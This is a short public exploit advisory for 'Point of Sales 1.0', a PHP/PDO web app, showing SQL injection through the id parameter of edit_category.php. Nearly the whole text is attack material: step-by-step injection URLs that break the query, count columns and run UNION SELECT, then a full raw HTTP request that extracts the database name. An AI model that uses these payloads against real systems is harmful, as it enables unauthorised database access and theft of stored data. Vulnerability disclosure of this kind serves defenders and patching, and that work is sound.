#Exploit Title: Point of Sales 1.0 - SQL Injection #Date: 2020-10-22 #Exploit Author: Ankita Pal #Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/pos_0.zip #Version: V1.0 #Tested on: Windows 10 + xampp v3.2.4 Proof of Concept::: Step 1: Open the URL http://localhost:8081/pos/edit_category.php?id=1 Step 2: Change the URL http://localhost:8081/pos/edit_category.php?id=1' Step 3: Try to balance the query http://localhost:8081/pos/edit_category.php?id=1'--+ Step 4: Find the number of columns http://localhost:8081/pos/edit_category.php?id=1' order by 1,2--+ Step 5: Find which columns are visible http://localhost:8081/pos/edit_category.php?id=-1%27%20UNION%20Select%201,2--+ Malicious Request::: GET /pos/edit_category.php?id=-1%27%20UNION%20Select%201,database()--+ HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id Upgrade-Insecure-Requests: 1 Gives database name *sourcecodester_posdb*